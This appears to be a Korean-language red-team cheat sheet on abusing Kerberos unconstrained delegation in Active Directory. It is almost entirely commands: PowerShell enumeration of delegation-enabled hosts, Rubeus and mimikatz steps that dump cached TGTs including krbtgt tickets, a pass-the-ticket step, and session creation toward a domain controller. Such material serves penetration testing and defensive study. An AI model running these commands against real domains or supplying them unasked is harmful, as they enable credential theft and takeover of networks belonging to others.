Unconstrained Delegation
Abuse
# Unconstrained Delegation이 설정된 객체 열거
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description
# TGT 캐시 목록 열거 및 덤프
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x33465 /service:krbtgt /nowrap
# 로그인 세션 생성
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:AD01 /username:Administrator /password:FakePass /ticket:doI[...]A==
# 세션 사용
steal_token 1540# Unconstrained Delegation이 설정된 객체 열거
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description
# TGT 캐시 목록 열거 및 덤프
mimikatz # sekurlsa::tickets
mimikatz # sekurlsa::tickets /export
# Administrator 티켓 환경변수 등록
mimikatz # kerberos::ptt [0;3e7][email protected]
# 세션 사용
Enter-PSSession dc01References
Last updated